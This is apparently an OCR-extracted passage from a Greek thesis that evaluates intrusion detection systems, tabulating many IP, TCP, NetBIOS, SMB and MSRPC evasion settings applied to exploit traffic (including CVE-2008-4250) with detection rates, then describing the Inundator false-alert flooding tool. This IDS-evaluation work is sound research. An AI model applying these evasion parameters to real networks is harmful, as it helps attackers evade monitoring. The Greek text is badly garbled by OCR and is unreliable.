
* NULL TCP checksum.

* Payload set to random alphanumeric bytes.

The following evasions are applied from stage http_connect to end:

- TCP segments produced by a single socket send() are sent in a (reverse, random) order
- TCP packets are segmented to contain at most 1 bytes of payload.

- (50%, 100%) probability to send TCP chaff when sending a TCP packet. The chaff packet
has:

* An out-of-window sequence number.

* Payload set to random alphanumeric bytes.

The following evasions are applied from stage http_connect to end:

- TCP segments produced by a single socket send() are sent in a (reverse, random) order

- TCP packets are segmented to contain at most 1 bytes of payload.

100%

100%

67

- (50%, 100%) probability to send TCP chaff when sending a TCP packet. The chaff packet
has:

* Invalid TCP checksum.

* Payload set to random alphanumeric bytes.

The following evasions are applied from stage http_connect to end:

- TCP segments produced by a single socket send() are sent in a (reverse, random) order

- TCP packets are segmented to contain at most 1 bytes of payload.

TCP segmentation + TCP segment order + TCP PAWS elimination

68

- (50%, 100%) probability to send a duplicate TCP packet with an old timestamp destined
for PAWS elimination. The duplicate packet has a timestamp <normal - 10> and random
alphanumeric payload.

The following evasions are applied from stage http_connect to end:
- TCP segments produced by a single socket send() are sent in a reverse order

- TCP packets are segmented to contain at most (2, 4, 8) bytes of payload.

TCP segmentation + TCP segment overlap + TCP timestamp echo reply modifications

69

70

The following evasions are applied from stage http_connect to end:

- TCP segments are set to overlap by 2 bytes, with the earlier packet containing the correct
payload. Overlapping data is set to random alphanumeric.

- TCP packets are segmented to contain at most 128 bytes of payload.
- TCP timestamps echo reply value is sent in the wrong endianness
The following evasions are applied from stage http_connect to end:

- TCP segments are set to overlap by 2 bytes, with the earlier packet containing the correct
payload. Overlapping data is set to random alphanumeric.

- TCP packets are segmented to contain at most 256 bytes of payload.

- TCP timestamps echo reply value is sent in the wrong endianness

TCP segmentation + TCP segment order + TCP timestamp echo reply modifications

100%

50%

100%

100%
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71 The following evasions are applied from stage http_connect to end: 2
- TCP segments produced by a single socket send() are sent in a reverse order
- TCP packets are segmented to contain at most 1 byte of payload.
- TCP timestamps echo reply value is sent in the wrong endianness
TCP segmentation + TCP segment order + TCP TIME-WAIT decoys + TCP timestamp echo 100%

reply modifications

72 The following evasions are applied from stage http_connect to end: 2
- TCP segments produced by a single socket send() are sent in a reverse order
- TCP packets are segmented to contain at most 1 bytes of payload.

- 256 decoy TCP connections are opened from the same TCP port as the exploit connection
will use. Each connection will send 32-544 random alphanumeric bytes

- TCP timestamps echo reply value is sent in the wrong endianness

TCP segmentation + TCP segment order + TCP urgent data 100% 100%

73 The following evasions are applied from stage http_connect to end: 2 2
- TCP segments produced by a single socket send() are sent in a reverse order
- TCP packets are segmented to contain at most 512 bytes of payload.
- 50% probability to add a random alphanumeric urgent data byte to a TCP segment.
TCP segmentation + TCP segment order + TCP Initial Sequence Number (ISN)

74 - Initial TCP sequence number is set to Oxffffffff - 4294967295
The following evasions are applied from stage http_connect to end:
- TCP segments produced by a single socket send() are sent in a reverse order

- TCP packets are segmented to contain at most 1 bytes of payload.

TCP segmentation + TCP segment order + TCP TIME-WAIT decoys + TCP Initial Sequence
Number (ISN)

75 - Initial TCP sequence number is set to Oxffffffff - 4294967295
The following evasions are applied from stage http_connect to end:
- TCP segments produced by a single socket send() are sent in a reverse order
- TCP packets are segmented to contain at most 1 bytes of payload.

- 128 decoy TCP connections are opened from the same TCP port as the exploit connection
will use. Each connection will send 32-544 random bytes

TCP segmentation + TCP segment overlap + TCP timestamp echo reply modifications

76 The following evasions are applied from stage http_connect to end:

- TCP segments are set to overlap by 2 bytes, with the earlier packet containing the correct
payload. Overlapping data is set to zero bytes.

- TCP packets are segmented to contain at most 4 bytes of payload.

- TCP timestamps echo reply value is sent in the wrong endianness

IP fragmentation + TCP segmentation 100% 20%

77 - IPv4 fragments with at most 8 bytes per fragment 2
The following evasions are applied from stage http_connect to end:
- TCP packets are segmented to contain at most 1 bytes of payload.

78 - IPv4 fragments with at most 16 bytes per fragment 2
The following evasions are applied from stage http_connect to end:

- TCP packets are segmented to contain at most 1 bytes of payload.
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79

80

81

IP fragmentation + TCP segmentation + TCP segment order 100%

- IPv4 fragments with at most 24 bytes per fragment 2
The following evasions are applied from stage http_connect to end:

- TCP packets are segmented to contain at most 1 bytes of payload.

- IPv4 fragments with at most 32 bytes per fragment 2
The following evasions are applied from stage http_connect to end:

- TCP packets are segmented to contain at most 1 bytes of payload.

- IPv4 fragments with at most 64 bytes per fragment 2 2
The following evasions are applied from stage http_connect to end:

- TCP packets are segmented to contain at most 1 bytes of payload.

82

83

IP fragmentation + IP options + TCP segmentation

- IPv4 fragments with at most 8 bytes per fragment 2
The following evasions are applied from stage http_connect to end:

- TCP segments produced by a single socket send() are sent in correct order except that the
first segment comes last

- TCP packets are segmented to contain at most 1 bytes of payload.

- IPv4 fragments with at most 8 bytes per fragment 2
The following evasions are applied from stage http_connect to end:

- TCP segments produced by a single socket send() are sent in a random order

- TCP packets are segmented to contain at most 1 bytes of payload.

100%

84

IP fragmentation + IP options + TCP segmentation + TCP segment order

85

IP fragmentation + IP options + TCP segmentation + TCP segment overlap

86

- IPv4 fragments with at most 8 bytes per fragment

- 100% probability to send a duplicate IPv4 packet with an incrementing DWORD in the
options field.

The duplicate packet has random payload
The following evasions are applied from stage http_connect to end:

- TCP packets are segmented to contain at most 1 bytes of payload.

- IPv4 fragments with at most 8 bytes per fragment

- 100% probability to send a duplicate IPv4 packet with an incrementing DWORD in the
options field.

The duplicate packet has random payload
The following evasions are applied from stage http_connect to end:
- TCP segments produced by a single socket send() are sent in a (reverse, random) order

- TCP packets are segmented to contain at most 1 bytes of payload.

- IPv4 fragments with at most (8, 16, 32) bytes per fragment

- 100% probability to send a duplicate IPv4 packet with an incrementing DWORD in the
options field.

The duplicate packet has random payload
The following evasions are applied from stage http_connect to end:

- TCP segments are set to overlap by 2 bytes, with the earlier packet containing the correct
payload. Overlapping data is set to zero bytes.

- TCP packets are segmented to contain at most 4 bytes of payload.
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87 - IPv4 fragments with at most (40, 64, 128, 256, 512, 1024, 1480) bytes per fragment
- 100% probability to send a duplicate IPv4 packet with an incrementing DWORD in the

options field.
The duplicate packet has random payload

The following evasions are applied from stage http_connect to end:

- TCP segments are set to overlap by 2 bytes, with the earlier packet containing the correct

payload. Overlapping data is set to zero hytes.
- TCP packets are segmented to contain at most 4 bytes of payload.

IP fragmentation + HTTP header linear whitespace

88 - IPv4 fragments with at most 8 bytes per fragment

The following evasions are applied from stage http_connect to end:

- Whitespaces in HTTP headers are replaced with LWS (linear whitespace) with probability

100%

IP fragmentation + HTTP request line separator

89 - IPv4 fragments with at most 8 bytes per fragment

The following evasions are applied from stage http_connect to end:

- HTTP requests are sent using horizontal tab as request line separator

IP fragmentation + HTTP request method

90 - IPv4 fragments with at most 8 bytes per fragment
The following evasions are applied from stage http_connect to end:
- HTTP requests are sent with FTP "USER" as HTTP method
91 - IPv4 fragments with at most 8 bytes per fragment
The following evasions are applied from stage http_connect to end:
- HTTP requests are sent with POST as HTTP method
IP fragmentation + HTTP request pipelined

92 - IPv4 fragments with at most 8 bytes per fragment
The following evasions are applied from stage http_connect to end:
- HTTP requests are preceded with 32 pipelined GET /index.html
93 - IPv4 fragments with at most 8 bytes per fragment
The following evasions are applied from stage http_connect to end:
- HTTP requests are preceded with 32 pipelined GET /<random>
IP fragmentation + HTTP URL encoding

94 - IPv4 fragments with at most 8 bytes per fragment

The following evasions are applied from stage http_connect to end:

- HTTP requests are sent with simple path transformations (/ -> /./, /) applied to the URL

IP fragmentation + HTTP request version

95 - IPv4 fragments with at most 8 bytes per fragment
The following evasions are applied from stage http_connect to end:
- HTTP messages are sent with version number 0.8

TCP segmentation + HTTP header linear whitespace

96 The following evasions are applied from stage http_connect to end:

- TCP packets are segmented to contain at most 1 bytes of payload.

- Whitespaces in HTTP headers are replaced with LWS (linear whitespace) with probability

100%

100%

100%

100%

75%

100%

100%

100%

100%

50%

25%

25%

100%

100%
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TCP segmentation + HTTP request line separator 100%

97 The following evasions are applied from stage http_connect to end: 2

- TCP packets are segmented to contain at most 1 bytes of payload.

- HTTP requests are sent using carriage return as request line separator

TCP segmentation + HTTP request method 100%

98 The following evasions are applied from stage http_connect to end:
- TCP packets are segmented to contain at most 1 bytes of payload.

- HTTP requests are sent with an MSRPC header as HTTP method

2
TCP segmentation + HTTP URL encoding -

99 The following evasions are applied from stage http_connect to end:

100%

- TCP packets are segmented to contain at most 1 bytes of payload.

n

- HTTP requests are sent with % escapes applied to the URL

IP fragmentation + TCP segmentation + TCP segment order + HTTP header linear whitespace 100% 50%

100 - IPv4 fragments with at most 8 bytes per fragment 2
The following evasions are applied from stage http_connect to end:
- TCP segments produced by a single socket send() are sent in a random order
- TCP packets are segmented to contain at most 1 bytes of payload.

- Whitespaces in HTTP headers are replaced with LWS (linear whitespace) with probability
100%

101 - IPv4 fragments with at most 8 bytes per fragment 2
The following evasions are applied from stage http_connect to end:
- TCP segments produced by a single socket send() are sent in a random order
- TCP packets are segmented to contain at most 16 bytes of payload.

- Whitespaces in HTTP headers are replaced with LWS (linear whitespace) with probability
100%

IMivakag 8-86: Amoteléionata dokiudv Evavtt g svddsiag CVE-2008-4250 (MSRPC)

A/A  Xpnowomowodpevn TEVIKH IMocooto
Aviyvevong /
Mépra Snort
IP fragmentation - @poppatiopog IP 100%
1 IPv4 fragments with at most (8, 16, 32, 64, 128, 256, 512, 1024, 1480) bytes per fragment 2
IP options - Amostori duthéTvm®V Takitwv IP pe tpomomompéve payload kar évav avéovra apOpé cto medio 100%
options
2 (20, 40, 60, 80, 100)% probability to send a duplicate IPv4 packet with an incrementing DWORD in the 2
options field. The duplicate packet has (random, a shuffled) payload
TCP Chaff — Amostor amonpocavatooTtik®v (chaff) tumparev TCP 100%
3 (20, 40, 60, 80, 100)% probability to send TCP chaff when sending a TCP packet. The chaff packet has: 2

- (Invalid TCP checksum, NULL TCP checksum, NULL TCP control flags, An out-of-window sequence
number, TCP header shorter than 20 bytes, TCP header longer than packet total size)

- Payload (set to 0x00 byte, set to random bytes, set to random alphanumeric bytes, shuffled from the original
packet, shuffled starting from the original packets 30th payload byte.)

TCP Initial Sequence Number (ISN) — Opiepdg tov ISN wg Oxffffffff-n, zpokeipévov va ereyy0si n dvvarénTa 100%
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amotpnpoatomoinong TCP étav to SN pundeviCetan kotd ) drdapkera evog PUSH, Loym tng emitevéng g
péyieTng Ty Tov (2%)

4 Initial TCP sequence number is set to OXfffffff - 6 2
Disable TCP congestion avoidance - Amevepyomoinen Tov piyavicpod amo@uyis cvp@épnens eto TCP 100%
TPp®TOKOLLO TOV Linux

5 TCP congestion window is not used 2
Disable TCP fast retransmit - Awevepyomoinon Tov pnyeviopod amopuyns copeépnens eto TCP npwtéxoiro 100%
70V Linux

6 TCP fast retransmit is not used 2
TCP PAWS elimination — Ewsayoyn £vég durhétumov makétov mpv omd ka0s £va amd To moKETA TG KAVOVIKRG 50%
poig TCP, ne timestamp pikpotepo amd To Kavovikd

7 100% probability to send a duplicate TCP packet with an old timestamp destined for PAWS elimination. The 1

duplicate packet has a timestamp <normal - 10> and (zero, random, random alphanumeric, shuffled) payload.
TCP receive window — IIpocéiopiopés tov mapadipov Mjyng tov TCP socket, £ror dete va e&avaykaleTtan To 100%
aAho GKpo TNG 6VVOESNG VO amooTéAAEL pikpd Tpfqpota TCP

8 The following evasions are applied from stage http_connect to end: 2

- TCP receive window is set to at most (100, 128, 256, 512, 1024, 2048) bytes.
TCP segmentation — Tpnpatomoinen pong TCP kot KOTAKEPRATIONOS TOV ASKTIKAOV 7OV avalnTtovv ot 50%
VToYpPaPEs
9 The following evasions are applied from stage http_connect to end: 1
- TCP packets are segmented to contain at most (1, 2, 4, 8, 16, 32) bytes of payload.
TCP TIME-WAIT decoys — Anmovpyic 0mompocavatoMGTIKAOV GUVOEGEOV Ol 0moiss mponyodviar TIg 100%
TPOYROTIKIAG ETIOEONS KL YPNGLROTOL0VY TNV 10 OVpa wpoéreveng TCP pe avtipy
10 The following evasions are applied from stage http_connect to end: 2
- 512 decoy TCP connections are opened from the same TCP port as the exploit connection will use. Each
connection will send 32-544 zero bytes
TCP timestamp echo reply modifications 100%
11 The following evasions are applied from stage http_connect to end: 2
- TCP timestamps echo reply value is sent in the wrong endianness
TCP urgent data — Evepyomoinon tov urgent flag ywo to dgbtepo tuijpa g poiigc TCP (1 poij TCP amotehsiton 50%
a6 2 Tpjpote)
12 The following evasions are applied from stage http_connect to end: 1
- 100% probability to add a (zero, random, random alphanumeric) urgent data byte to a TCP segment
IP fragmenation + IP Options 100%
13 - IPv4 fragments with at most (8, 16, 24, 32) bytes per fragment 2
- 100% probability to send a duplicate 1Pv4 packet with an incrementing DWORD in the options field.
The duplicate packet has random payload
TCP segmentation + TCP Chaff 50%
14 - (50%, 100%) probability to send TCP chaff when sending a TCP packet. The chaff packet has: 1
* NULL TCP checksum.
* Payload set to random alphanumeric bytes.
The following evasions are applied from stage netbios_connect to end:
- TCP packets are segmented to contain at most (1, 2, 4, 8) bytes of payload.
15 - (50%, 100%) probability to send TCP chaff when sending a TCP packet. The chaff packet has: 1
* An out-of-window sequence number.
* Payload set to random alphanumeric bytes.
The following evasions are applied from stage netbios_connect to end:
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16

- TCP packets are segmented to contain at most (4, 8) bytes of payload.

- (50%, 100%) probability to send TCP chaff when sending a TCP packet. The chaff packet has:

* Invalid TCP checksum.
* Payload set to random alphanumeric bytes.
The following evasions are applied from stage netbios_connect to end:

- TCP packets are segmented to contain at most 1 bytes of payload.

TCP segmentation + TCP segment overlap

17

18

19

The following evasions are applied from stage netbios_connect to end:

- TCP segments are set to overlap by 2 bytes, with the earlier packet containing the correct payload.

Overlapping data is set to (zero bytes, random, random alphanumeric).
- TCP packets are segmented to contain at most 20 bytes of payload.

The following evasions are applied from stage nethios_connect to end:

- TCP segments are set to overlap by 2 bytes, with the earlier packet containing the correct payload.

Overlapping data is set to (zero bytes, random, random alphanumeric).
- TCP packets are segmented to contain at most 30 bytes of payload.

The following evasions are applied from stage netbios_connect to end:

- TCP segments are set to overlap by 4 bytes, with the earlier packet containing the correct payload.

Overlapping data is set to zero bytes.

- TCP packets are segmented to contain at most 8 bytes of payload.

TCP segmentation + TCP segment order

20

The following evasions are applied from stage nethios_connect to end:

- TCP segments produced by a single socket send() are sent in (random order, reverse order, correct order

except that the first segment comes last, correct order except that the last segment comes first)

- TCP packets are segmented to contain at most 1 bytes of payload.

TCP segmentation + TCP segment order + TCP Chaff

21

22

23

- (50%, 100%) probability to send TCP chaff when sending a TCP packet. The chaff packet has:

* NULL TCP checksum.

* Payload set to random alphanumeric bytes.

The following evasions are applied from stage nethios_connect to end:

- TCP segments produced by a single socket send() are sent in a (reverse, random) order

- TCP packets are segmented to contain at most 1 bytes of payload.

- (50%, 100%) probability to send TCP chaff when sending a TCP packet. The chaff packet has:

* An out-of-window sequence number.

* Payload set to random alphanumeric bytes.

The following evasions are applied from stage nethios_connect to end:

- TCP segments produced by a single socket send() are sent in a (reverse, random) order

- TCP packets are segmented to contain at most 1 bytes of payload.

- (50%, 100%) probability to send TCP chaff when sending a TCP packet. The chaff packet has:

* Invalid TCP checksum.

* Payload set to random alphanumeric bytes.

The following evasions are applied from stage netbios_connect to end:

- TCP segments produced by a single socket send() are sent in a (reverse, random) order

- TCP packets are segmented to contain at most 1 bytes of payload.

TCP segmentation + TCP segment order + TCP PAWS elimination

24

- (50%, 100%) probability to send a duplicate TCP packet with an old timestamp destined for PAWS
elimination. The duplicate packet has a timestamp <normal - 10> and random alphanumeric payload.

33,33%

50%

50%

16,67%
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25

26

The following evasions are applied from stage netbios_connect to end:
- TCP segments produced by a single socket send() are sent in a reverse order
- TCP packets are segmented to contain at most (2, 4) bytes of payload.

- 100% probability to send a duplicate TCP packet with an old timestamp destined for PAWS elimination. The
duplicate packet has a timestamp <normal - 10> and random alphanumeric payload.

The following evasions are applied from stage netbios_connect to end:

- TCP segments produced by a single socket send() are sent in a reverse order

- TCP packets are segmented to contain at most 8 bytes of payload.

- 50% probability to send a duplicate TCP packet with an old timestamp destined for PAWS elimination. The 1
duplicate packet has a timestamp <normal - 10> and random alphanumeric payload.

The following evasions are applied from stage netbios_connect to end:
- TCP segments produced by a single socket send() are sent in a reverse order

- TCP packets are segmented to contain at most 8 bytes of payload.

TCP segmentation + TCP segment overlap + TCP timestamp echo reply modifications 50%

27

28

The following evasions are applied from stage netbios_connect to end:

- TCP segments are set to overlap by 8 bytes, with the earlier packet containing the correct payload.
Overlapping data is set to random alphanumeric.

- TCP packets are segmented to contain at most 16 bytes of payload.

- TCP timestamps echo reply value is sent in the wrong endianness
The following evasions are applied from stage netbios_connect to end: 2

- TCP segments are set to overlap by 8 bytes, with the earlier packet containing the correct payload.
Overlapping data is set to random alphanumeric.

- TCP packets are segmented to contain at most 24 bytes of payload.

- TCP timestamps echo reply value is sent in the wrong endianness

TCP segmentation + TCP segment order + TCP timestamp echo reply modifications 50%

29

The following evasions are applied from stage netbios_connect to end: 1
- TCP segments produced by a single socket send() are sent in a reverse order
- TCP packets are segmented to contain at most 1 byte of payload.

- TCP timestamps echo reply value is sent in the wrong endianness

TCP segmentation + TCP segment order + TCP TIME-WAIT decoys + TCP timestamp echo reply 50%

modifications

30

The following evasions are applied from stage nethios_connect to end: 1
- TCP segments produced by a single socket send() are sent in a reverse order
- TCP packets are segmented to contain at most 1 bytes of payload.

- 256 decoy TCP connections are opened from the same TCP port as the exploit connection will use. Each
connection will send 32-544 random alphanumeric bytes

- TCP timestamps echo reply value is sent in the wrong endianness

TCP segmentation + TCP segment order + TCP urgent data 50%

31

The following evasions are applied from stage netbios_connect to end: 1
- TCP segments produced by a single socket send() are sent in a reverse order
- TCP packets are segmented to contain at most 8 bytes of payload.

- 50% probability to add a random alphanumeric urgent data byte to a TCP segment.

TCP segmentation + TCP segment order + TCP Initial Sequence Number (ISN) 50%

32

- Initial TCP sequence number is set to Oxffffffff - 4294967295 1

The following evasions are applied from stage netbios_connect to end:
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- TCP segments produced by a single socket send() are sent in a reverse order
- TCP packets are segmented to contain at most 1 bytes of payload.

TCP segmentation + TCP segment order + TCP TIME-WAIT decoys + TCP Initial Sequence Number (ISN) 50%

33 - Initial TCP sequence number is set to Oxffffffff - 4294967295 1
The following evasions are applied from stage netbios_connect to end:
- TCP segments produced by a single socket send() are sent in a reverse order
- TCP packets are segmented to contain at most 1 bytes of payload.

- 128 decoy TCP connections are opened from the same TCP port as the exploit connection will use. Each
connection will send 32-544 random bytes

IP fragmentation + TCP segmentation 50%

34 - IPv4 fragments with at most 8 bytes per fragment 1
The following evasions are applied from stage netbios_connect to end:
- TCP packets are segmented to contain at most 16 bytes of payload.

IP fragmentation + TCP segmentation + TCP segment order 50%

35 - IPv4 fragments with at most 8 bytes per fragment 1
The following evasions are applied from stage netbios_connect to end:

- TCP segments produced by a single socket send() are sent in correct order except that the first segment
comes last

- TCP packets are segmented to contain at most 16 bytes of payload.

36 -- IPv4 fragments with at most 8 bytes per fragment 1
The following evasions are applied from stage netbios_connect to end:
- TCP segments produced by a single socket send() are sent in a random order

- TCP packets are segmented to contain at most 16 bytes of payload.

IP fragmentation + IP options + TCP segmentation 50%

37 - IPv4 fragments with at most 8 bytes per fragment 1
- 100% probability to send a duplicate IPv4 packet with an incrementing DWORD in the options field.
The duplicate packet has random payload
The following evasions are applied from stage nethios_connect to end:
- TCP packets are segmented to contain at most 16 bytes of payload.

IP fragmentation + IP options + TCP segmentation + TCP segment order 50%

38 - IPv4 fragments with at most 8 bytes per fragment 1
- 100% probability to send a duplicate 1Pv4 packet with an incrementing DWORD in the options field.
The duplicate packet has random payload
The following evasions are applied from stage nethios_connect to end:
- TCP segments produced by a single socket send() are sent in a (reverse, random) order
- TCP packets are segmented to contain at most (1, 16) bytes of payload.

NetBIOS chaff — Amostol) emnpécdsTov amonposavaroricTikdv (chaff) maxétwv NetBIOS 100%

39 The following evasions are applied from stage netbios_connect to end: 2

- (50, 100)% probability to send a chaff NetBIOS message before an actual NetBIOS message. The chaff
message is an empty NetBIOS message of unspecified type

40 The following evasions are applied from stage netbios_connect to end: 2

- (50, 100)% probability to send a chaff NetBIOS message before an actual NetBIOS message. The chaff
message is an empty NetBIOS Keep-Alive message.

41 The following evasions are applied from stage netbios_connect to end: 2

- (50, 100)% probability to send a chaff NetBIOS message before an actual NetBIOS message. The chaff
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message is a small NetBIOS message of an unspecified type.

42 The following evasions are applied from stage netbios_connect to end: 2
- (50, 100) % probability to send a chaff NetBIOS message before an actual NetBIOS message. The chaff
message is an unspecified NetBIOS message with HTTP GET request like payload.
43 The following evasions are applied from stage netbios_connect to end: 2
- (50, 100) % probability to send a chaff NetBIOS message before an actual NetBIOS message. The chaff
message is an unspecified NetBIOS message with HTTP POST request like payload.
44 The following evasions are applied from stage netbios_connect to end: 2
- (50, 100)% probability to send a chaff NetBIOS message before an actual NetBIOS message. The chaff
message is an unspecified NetBIOS message with MSRPC request like payload.
45 The following evasions are applied from stage netbios_connect to end: 2
- (50, 100)% probability to send a chaff NetBIOS message before an actual NetBIOS message. The chaff
message is an unspecified NetBIOS message with a small payload and an invalid length value.
NetBIOS initial chaff - Amostol) emnpécOeTov amonpocsavaroetikdv (chaff) makétov NetBIOS kotd v 100%
gykafidpvon g ovvdeong NetBIOS
46 The following evasions are applied from stage netbios_connect to end: 2
- A chaff NetBIOS message is sent before the first actual NetBIOS message. The chaff message is an empty
NetBIOS message of unspecified type
47 The following evasions are applied from stage nethios_connect to end: 2
- A chaff NetBIOS message is sent before the first actual NetBIOS message. The chaff message is an empty
NetBIOS Keep-Alive message
48 The following evasions are applied from stage nethios_connect to end: 2
- A chaff NetBIOS message is sent before the first actual NetBIOS message. The chaff message is a small
NetBIOS message of an unspecified type
49 The following evasions are applied from stage nethios_connect to end: 2
- A chaff NetBIOS message is sent before the first actual NetBIOS message. The chaff message is an
unspecified NetBIOS message with HTTP GET request like payload
50 The following evasions are applied from stage netbios_connect to end: 2
- A chaff NetBIOS message is sent before the first actual NetBIOS message. The chaff message is an
unspecified NetBIOS message with HTTP POST request like payload
51 The following evasions are applied from stage nethios_connect to end: 2
- A chaff NetBIOS message is sent before the first actual NetBIOS message. The chaff message is an
unspecified NetBIOS message with MSRPC request like payload
52 The following evasions are applied from stage nethios_connect to end: 2
- A chaff NetBIOS message is sent before the first actual NetBIOS message. The chaff message is an
unspecified NetBIOS message with a small payload and an invalid length value
SMB chaff - ArosToM] emmpoodeTov amonposavaroioTikdv (chaff) maxétwv SMB 100%
53 The following evasions are applied from stage smb_connect to end: 2
- 100% probability to send an SMB chaff message before real messages. The chaff is a WriteAndX message
with a broken write mode flag, and has (zeroes for, random MSRPC request-like) payload
SMB decoy trees 100%
54 The following evasions are applied from stage smb_connect to end: 2
- Before normal SMB writes, 8 SMB trees are opened and 8 writes are performed to them. The write payload
is 2048 random alphanumeric bytes.
SMB filename obfuscation — Zvekétien tng dradpoprig Tov apysiov oy ypncipoToLIEiTAL 100%
55 The following evasions are applied from stage smb_openpipe to end: 2
- The SMB filename is obfuscated:
* (Random characters case is changed, Dummy paths are added ( a/b -> a/c/../b ), A 0x00 and random
alphanumeric characters are appended to the filename)
SMB write segmentation — IIpocdiopiopés Tov péyretov apidpod bytes wov eyypagovror og éva SMB write 50%
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56

SMB WriteAndX padding — MpooOnikn smapécOsrov padding pera&d tng emksparidog WriteAndX ko Tov
payload.

O gvrodés write kou read dww@étovv évav deiktn offset mov pmopei va ypnowpomom0si yro padding. Ora ta
dedopéva mov axolrovBodv Ty smkeparido SMB fwg to byte mov vmodsikvier o dsiktng 0o mpimer va

The following evasions are applied from stage msrpc_bind to end:

- SMB writes are segmented to contain at most 1 bytes of payload.

ATOPPITTOVTUL.

57

The following evasions are applied from stage smb_connect to end:

- (1, 1024) bytes of padding is inserted into WriteAndX messages between the SMB header and payload. The

padding consists of (zero bytes, random alphanumeric bytes).

SMB write segmentation + SMB WriteAndX padding

58

The following evasions are applied from stage smb_connect to end:

- 8 bytes of padding is inserted into WriteAndX messages between the SMB header and payload. The padding

consists of random alphanumeric bytes.
The following evasions are applied from stage msrpc_bind to end:

- SMB writes are segmented to contain at most 8 bytes of payload.

SMB write segmentation + SMB WriteAndX padding + SMB chaff

59

The following evasions are applied from stage smb_connect to end:

- 100% probability to send an SMB chaff message before real messages. The chaff is a WriteAndX message
with a broken write mode flag, and has random alphanumeric payload

- 1 bytes of padding is inserted into WriteAndX messages between the SMB header and payload. The padding

consists of random alphanumeric bytes.
The following evasions are applied from stage msrpc_bind to end:

- SMB writes are segmented to contain at most 1 bytes of payload.

MSRPC big endian

60

The following evasions are applied from stage msrpc_bind to end:

- MSRPC messages are sent in the big endian byte order

MSRPC NDR modifications

61

62

63

The following evasions are applied from stage msrpc_bind to end:
- MSRPC NDR flag is modified:

* EBCDIC character encoding

* VAX floating point value encoding

* Reserved 3rd byte is set to zero

* Reserved 4th byte is set to zero

The following evasions are applied from stage msrpc_bind to end:
- MSRPC NDR flag is modified:

* Unspecified character encoding

* VAX floating point value encoding

* Reserved 3rd byte is set to zero

* Reserved 4th byte is set to zero

The following evasions are applied from stage msrpc_bind to end:
- MSRPC NDR flag is modified:

* EBCDIC character encoding

* Cray floating point value encoding

* Reserved 3rd byte is set to zero

* Reserved 4th byte is set to zero

100%

50%

50%

50%

100%
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MSRPC request segmentation

MSRPC request segmentation + Group MSRPC fragments to a single send

MSRPC request segmentation + Group MSRPC fragments to a single send + MSRPC big endian

MSRPC request segmentation + SMB segmentation + TCP segmentation

MSRPC request segmentation + Group MSRPC fragments to a single send + MSRPC big endian + IP
fragmentation + IP options

i’equest segmentation + Group MSRPC fragments to a single send + MSRPC big endian + SMB
segmentation + IP fragmentation + IP options
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MSRPC request segmentation + Group MSRPC fragments to a single send + MSRPC big endian + SMB
segmentation + TCP segmentation + IP fragmentation + IP options

MSRPC request segmentation + Group MSRPC fragments to a single send + MSRPC big endian + SMB 50%
segmentation + TCP segmentation + TCP segment order + IP fragmentation + IP options

SMB chaff + IP fragmentation + IP options 100%

chaff + IP fragmentation + IP options

Eyxozaoroon ko Hepapoziky Melétn Zootqudrwv Aviyvevoons Eiofolov Zedida 202




8.4 AvOekTIKOTNTA évavTl EMOETEQV TOPAMGTS

2100G NG TPITNG SOKIUNG OV TTpoyLaTomomonke frav 1 ovykpion v 6vo IDSS ce oyéon pe v
avOeKTIKOTNTA TOVG £vovTl emBécemv TOPAmong. [a v wpaypatomoinen avtig TS SOKIUNG
aflomombnke 1o gpyaieio Inundator to omoio cvumeptlapPdveror ot Swvour; BackTrack 5R3.
[Ipdkerton yio pio ToAvvnpaTiKny papuoyn 1 ool pmopel vo a&toroindet yio TV amocToAr] €101KA
Sapopeopuévov makétov mpog éva TAndog 6ToYwV, T omola Tapdyovv Eva peydio aplfud yevdmv
gdomomoemv. Ot g100TOMOES AVTEG AEITOVPYOVV OTOTPOCAVOTOACTIKY, TPOKEWEVOL VoL [N Yivel
QVTIANTTN 1) TPOYRLOTIKT €Nifgom oV ekteAeiton TOPAAANAQ amd Tov emtifépevo. O d10yEPIoTHG TOV
GUGTAKOTOS KOTAKAV(ETOL OO EI00TOMNGELS, UE OMOTEAEGO VO «TLOAMVETOY KOl VO UV givat o€

0éom vo dtapivel TIg TPUYUATIKES 0 TIG AMOTPOCAVATOMOTIKEG EMOECELS.

To Inundator déyeton w¢ €i6080 éva, GHVOLO apyei®V VIOYPUE®Y Kot dnuovpyel pio ovpd embécemv
AVOADOVTOG TIG VITOYPOAPES TTOV YPNOUOTOLOVY AVETOPKAOG TIG EMAOYEC content: kat uricontent:. Xt
ocuvéyelo dnuovpyel por ovpd otdy®v evtomifovrog Tig avowktég Bupeg TCP tov kdbe GtdHN0L TOL
€xel Tpoodlopicet 0 ¥pNoTNg, LEGH piag ohpmong Bupdv. Metd tn onpovpyia Twv ovpdV GTOHY®V Kol
emBéocwv, to Inundator Eexva tov apBud vipdtmv mov mpocdiopiotnke amd 1o ypnotn. To kabe
VAo eTAEyel éva toyaio otdyo amd TNV ovpd GTOYWV Kot pa amd T avolktég 60peg Tov. Emiong,
emAéyetan pia Toyoio eniBeon and v ovpd emiBéoewv Kot dnpuovpyeitor Evo TANPOS 08D0 ToKETO N
altmuo mov toplalel pe v avtiotoyyn vroypaen tov IDS. To maxéto avtd amootéAhetal TEAOG
pnécm evog SOCKS proxy (g€’ opiopo? ypnoytomoteitatl to Tor). H dwwdkacio avtr emavaiapfdavetal

CUVEYMG, £MC OTOL SLOKOTEL A0 TO YPNOTY.

Eivol coapég 0TL T0 6UVOA0 T®V VIOYPUPOY oL Ypnoiporotovvtal and to IDS nailel kabopiotikd
poOAO otn dnuovpyio | un yevddg Betikdv gdomomoswv. To Inundator Oa mapdyst Eva peydro
mAn0oc yevdds Betikdv edomomoemv Evavtt IDSS pe avemapkeic vmoypagés, eved aviiBétwg Oa
napayfodv eldylotes €mg UNdeVikEG yevddg Betkég ewdomomoelg évavtt IDSs mov dwwbérovv

KOAOYPOUUEVEG VITOYPOQES 1| a&lomolovy pebBodoroyieg aviyvevons PACEL EVIOTIGUOV S10TAPAYDV.

8.4.1 Iepapatikny owatatn

H mepopotikn didtagn mov ypnollomodnke yio v eKTéAECT] TOV SOKIUMV amekoviletal otV
Ewéva 8-6. Ipoxeévon va eEaopaiiotel 0Tl 1 diktvakn Kivnon mov Ba eéetaotel ond ta IDSS
TeEPLAUPAVEL LOVO TO TOKETA SOKIUMY KOl OYL EMTPOCOETO TOKETA AMPOPAETTOV dPAGTNPLOTHTOV,
ypnoipomomonke va amopovmpévo teptdilov To omoio mepthapfdvel poévo 1o mpog e&étaon IDS,
TOV VTOAOYIOTH TOv emTiBéuevov Kol To ovotnuoe otoyxo. o ™ dnuovpyic avtod TOL
